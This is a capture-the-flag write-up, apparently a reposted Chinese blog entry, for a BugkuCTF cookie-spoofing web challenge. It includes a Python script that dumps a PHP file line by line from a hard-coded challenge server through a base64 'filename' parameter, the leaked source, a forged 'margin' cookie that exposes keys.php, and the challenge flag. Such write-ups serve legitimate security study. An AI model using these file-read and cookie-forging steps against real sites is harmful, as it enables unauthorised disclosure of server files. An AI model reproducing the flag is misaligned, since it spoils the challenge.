BugkuCTF cookies欺骗

BugkuCTF cookies欺骗_第1张图片
页面中乱码 源代码也没有 只有url中有一串类似于base64
BugkuCTF cookies欺骗_第2张图片
说明本网页可能访问的是keys.txt,将filename换为index.phh base64加密aW5kZXgucGhw
改变line即可得到代码 要么写脚本 那么就只能自己一行一行的试了

import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print s.text
--------------------- 
作者:河马的鲸鱼 
原文:https://blog.csdn.net/qq_26090065/article/details/81588595 

	error_reporting(0);
	$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
	$line=isset($_GET['line'])?intval($_GET['line']):0;
	if($file=='') 
	header("location:index.php?line=&filename=a2V5cy50eHQ=");
	$file_list = array(
	'0' =>'keys.txt',
	'1' =>'index.php',
	);
	if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里
	$file_list[2]='keys.php';
	} 
	if(in_array($file, $file_list)){
	$fa = file($file);
	echo $fa[$line];
}
?>

cookie为margin=margin访问keys.php就行了 a2V5cy5waHA=

BugkuCTF cookies欺骗_第3张图片
源码中
flag:KEY{key_keys}

你可能感兴趣的:(BugkuCTF)